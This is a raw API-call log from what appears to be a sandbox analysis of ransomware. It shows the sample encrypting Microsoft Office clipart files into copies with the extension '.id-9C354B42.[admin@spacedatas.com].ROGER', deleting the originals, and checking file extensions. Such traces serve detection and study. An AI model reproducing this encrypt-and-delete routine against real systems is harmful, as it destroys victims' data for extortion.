hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.086] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0061.087] GetLastError () returned 0x0 [0061.087] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0061.096] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0061.098] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.098] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.098] SetEndOfFile (hFile=0x3e0) returned 1 [0061.176] CloseHandle (hObject=0x3e0) returned 1 [0061.182] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.182] SetEndOfFile (hFile=0x3d8) returned 1 [0061.186] CloseHandle (hObject=0x3d8) returned 1 [0061.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0061.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.723] lstrlenW (lpString=".doc") returned 4 [0061.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.723] lstrlenW (lpString=".docx") returned 5 [0061.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.723] lstrlenW (lpString=".pdf") returned 4 [0061.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.723] lstrlenW (lpString=".xls") returned 4 [0061.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.724] lstrlenW (lpString=".xlsx") returned 5 [0061.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.731] lstrlenW (lpString=".ppt") returned 4 [0061.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.731] lstrlenW (lpString=".zip") returned 4 [0061.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.738] lstrlenW (lpString=".rar") returned 4 [0061.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.738] lstrlenW (lpString=".bz2") returned 4 [0061.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.738] lstrlenW (lpString=".7z") returned 3 [0061.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.738] lstrlenW (lpString=".dbf") returned 4 [0061.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.745] lstrlenW (lpString=".1cd") returned 4 [0061.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.745] lstrlenW (lpString=".jpg") returned 4 [0061.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.746] lstrlenW (lpString=".doc") returned 4 [0061.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString=".docx") returned 5 [0061.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.746] lstrlenW (lpString=".pdf") returned 4 [0061.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString=".xls") returned 4 [0061.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.746] lstrlenW (lpString=".xlsx") returned 5 [0061.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.746] lstrlenW (lpString=".ppt") returned 4 [0061.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.746] lstrlenW (lpString=".zip") returned 4 [0061.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.746] lstrlenW (lpString=".rar") returned 4 [0061.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString=".bz2") returned 4 [0061.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString=".7z") returned 3 [0061.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.746] lstrlenW (lpString=".dbf") returned 4 [0061.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.746] lstrlenW (lpString=".1cd") returned 4 [0061.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0061.746] lstrlenW (lpString=".jpg") returned 4 [0061.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.746] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.747] lstrlenW (lpString="BD19988_.WMF") returned 12 [0061.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.747] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=18304) returned 1 [0061.747] CloseHandle (hObject=0x344) returned 1 [0061.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0061.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.747] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.747] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0061.748] GetLastError () returned 0x0 [0061.748] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x4780, lpOverlapped=0x0) returned 1 [0061.749] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x4790, lpOverlapped=0x0) returned 1 [0061.750] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.750] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.750] SetEndOfFile (hFile=0x3ac) returned 1 [0061.751] CloseHandle (hObject=0x3ac) returned 1 [0061.751] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.751] SetEndOfFile (hFile=0x344) returned 1 [0061.752] CloseHandle (hObject=0x344) returned 1 [0061.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0061.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.752] lstrlenW (lpString=".doc") returned 4 [0061.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.752] lstrlenW (lpString=".docx") returned 5 [0061.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.752] lstrlenW (lpString=".pdf") returned 4 [0061.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.752] lstrlenW (lpString=".xls") returned 4 [0061.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.752] lstrlenW (lpString=".xlsx") returned 5 [0061.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.752] lstrlenW (lpString=".ppt") returned 4 [0061.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.752] lstrlenW (lpString=".zip") returned 4 [0061.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.752] lstrlenW (lpString=".rar") returned 4 [0061.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString=".bz2") returned 4 [0061.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString=".7z") returned 3 [0061.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString=".dbf") returned 4 [0061.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString=".1cd") returned 4 [0061.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString=".jpg") returned 4 [0061.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString=".doc") returned 4 [0061.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString=".docx") returned 5 [0061.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.753] lstrlenW (lpString=".pdf") returned 4 [0061.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString=".xls") returned 4 [0061.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.753] lstrlenW (lpString=".xlsx") returned 5 [0061.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.753] lstrlenW (lpString=".ppt") returned 4 [0061.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.753] lstrlenW (lpString=".zip") returned 4 [0061.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.753] lstrlenW (lpString=".rar") returned 4 [0061.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.753] lstrlenW (lpString=".bz2") returned 4 [0061.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.754] lstrlenW (lpString=".7z") returned 3 [0061.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.754] lstrlenW (lpString=".dbf") returned 4 [0061.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.754] lstrlenW (lpString=".1cd") returned 4 [0061.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0061.754] lstrlenW (lpString=".jpg") returned 4 [0061.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.754] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.754] lstrlenW (lpString="BD20013_.WMF") returned 12 [0061.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.754] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=11058) returned 1 [0061.754] CloseHandle (hObject=0x344) returned 1 [0061.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0061.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.755] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.755] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0061.755] GetLastError () returned 0x0 [0061.755] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x2b32, lpOverlapped=0x0) returned 1 [0061.757] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0061.758] ReadFile (in: hFile=0x344, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.758] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.758] SetEndOfFile (hFile=0x3ac) returned 1 [0061.758] CloseHandle (hObject=0x3ac) returned 1 [0061.758] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.758] SetEndOfFile (hFile=0x344) returned 1 [0061.759] CloseHandle (hObject=0x344) returned 1 [0061.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0061.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.759] lstrlenW (lpString=".doc") returned 4 [0061.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.759] lstrlenW (lpString=".docx") returned 5 [0061.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.759] lstrlenW (lpString=".pdf") returned 4 [0061.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString=".xls") returned 4 [0061.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.760] lstrlenW (lpString=".xlsx") returned 5 [0061.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.760] lstrlenW (lpString=".ppt") returned 4 [0061.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString=".zip") returned 4 [0061.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.760] lstrlenW (lpString=".rar") returned 4 [0061.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString=".bz2") returned 4 [0061.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString=".7z") returned 3 [0061.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString=".dbf") returned 4 [0061.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString=".1cd") returned 4 [0061.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString=".jpg") returned 4 [0061.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.760] lstrlenW (lpString=".doc") returned 4 [0061.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.760] lstrlenW (lpString=".docx") returned 5 [0061.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.760] lstrlenW (lpString=".pdf") returned 4 [0061.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString=".xls") returned 4 [0061.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.761] lstrlenW (lpString=".xlsx") returned 5 [0061.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.761] lstrlenW (lpString=".ppt") returned 4 [0061.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.761] lstrlenW (lpString=".zip") returned 4 [0061.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.761] lstrlenW (lpString=".rar") returned 4 [0061.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString=".bz2") returned 4 [0061.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString=".7z") returned 3 [0061.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.761] lstrlenW (lpString=".dbf") returned 4 [0061.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.761] lstrlenW (lpString=".1cd") returned 4 [0061.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0061.761] lstrlenW (lpString=".jpg") returned 4 [0061.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.761] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.761] lstrlenW (lpString="BL00008_.WMF") returned 12 [0061.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.764] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=12520) returned 1 [0061.764] CloseHandle (hObject=0x344) returned 1 [0061.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0061.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0061.765] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.765] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac 